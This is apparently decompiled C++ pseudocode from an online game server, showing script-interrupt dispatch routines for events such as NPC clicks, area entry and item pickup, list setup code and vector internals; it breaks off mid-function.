ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); } //----- (004C7000) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); } //----- (004C7110) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)( *(_DWORD *)v11, *(_DWORD *)&arg->npcclick.index[0]); else ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)(0, *(_DWORD *)&arg->npcclick.index[0]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); } //----- (004C7220) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); } //----- (004C7330) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004C7440) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004C7550) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); } //----- (004C7660) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); } //----- (004C7770) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); } //----- (004C7880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ecx@4 ScriptInterrupt::InterruptHappenArgument arg; // [sp+Ch] [bp-114h]@5 unsigned int v7; // [sp+110h] [bp-10h]@6 int v8; // [sp+11Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S66_2 & 1) ) { _S66_2 |= 1u; cmc_53.cmc_AllowMode = 70; atexit(_E67_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_53.cmc_AllowMode ) { v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { *(_QWORD *)&arg.npcclick.index[0] = *(_QWORD *)(netcmd + 2); *(_QWORD *)&arg.npcclick.index[8] = *(_QWORD *)(netcmd + 10); *(_QWORD *)&arg.npcclick.index[16] = *(_QWORD *)(netcmd + 18); *(_QWORD *)&arg.npcclick.index[24] = *(_QWORD *)(netcmd + 26); arg.npcclick.npc = *((_WORD *)v4 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry, &arg); } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); __security_check_cookie(v7); } //----- (004C79E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ebx@5 int v6; // ecx@7 int v7; // eax@7 int v8; // ecx@7 int v9; // eax@7 int v10; // ecx@7 int v11; // eax@7 int v12; // ecx@7 __int16 v13; // dx@7 char *v14; // [sp-4h] [bp-134h]@4 int arg; // [sp+10h] [bp-120h]@7 int v16; // [sp+14h] [bp-11Ch]@7 int v17; // [sp+18h] [bp-118h]@7 int v18; // [sp+1Ch] [bp-114h]@7 int v19; // [sp+20h] [bp-110h]@7 int v20; // [sp+24h] [bp-10Ch]@7 int v21; // [sp+28h] [bp-108h]@7 int v22; // [sp+2Ch] [bp-104h]@7 __int16 v23; // [sp+30h] [bp-100h]@7 unsigned int cookie; // [sp+11Ch] [bp-14h]@9 int v25; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; if ( !(_S68_1 & 1) ) { _S68_1 |= 1u; cmc_54.cmc_AllowMode = 70; atexit(_E69_1); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_54.cmc_AllowMode ) { v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { memset(&arg, 0, 0x104u); v6 = *(_DWORD *)(netcmd + 6); arg = *(_DWORD *)(netcmd + 2); v7 = *(_DWORD *)(netcmd + 10); v16 = v6; v8 = *(_DWORD *)(netcmd + 14); v17 = v7; v9 = *(_DWORD *)(netcmd + 18); v18 = v8; v10 = *(_DWORD *)(netcmd + 22); v19 = v9; v11 = *(_DWORD *)(netcmd + 26); v20 = v10; v12 = *(_DWORD *)(netcmd + 30); v13 = *((_WORD *)v4 + 2); v21 = v11; v22 = v12; v23 = v13; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave, (ScriptInterrupt::InterruptHappenArgument *)&arg); v25 = -1; } else { v25 = -1; } v14 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } else { v25 = -1; v14 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie(cookie); } //----- (004C7B60) -------------------------------------------------------- const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this) { return "WinGuild"; } //----- (004C7B70) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument) { int v2; // ST00_4@1 PineScriptToken *v3; // eax@1 v2 = this->RegNo; v3 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v3, v2); } //----- (004C7B90) -------------------------------------------------------- void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004C7BB0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004C7CD0) -------------------------------------------------------- ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance() { if ( !(__S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA & 1) ) { __S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA |= 1u; _Instance.baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInteruptWinGuild::_vftable_; atexit(_Instance); } return &_Instance; } // 5B8ABC: using guessed type int (__stdcall *ScriptInterrupt__ScriptInteruptWinGuild___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // 12457898: using guessed type int ?$S70_?1??GetInstance_?$ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; //----- (004C7D10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ScriptInterrupt::ScriptInterruptArgument *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ScriptInterrupt::ScriptInterruptArgument *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ScriptInterrupt::ScriptInterruptArgument *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ScriptInterrupt::ScriptInterruptArgument *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ScriptInterrupt::ScriptInterruptArgument *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x14u); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_constructor_iterator_( v1->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v2 = 2; v3 = 3; v4 = (int)&v1->sim_ArgArray[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 544; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 544; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 1088; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 1632; } v3 += 5; v2 += 5; v4 += 2720; --v5; } while ( v5 ); } // 5B7F30: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004C7E50) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004C7EC0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val) { std::vector > *v4; // esi@1 ScriptInterrupt::ScriptInterruptUnitBase **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 ScriptInterrupt::ScriptInterruptUnitBase **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ScriptInterrupt::ScriptInterruptUnitBase *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 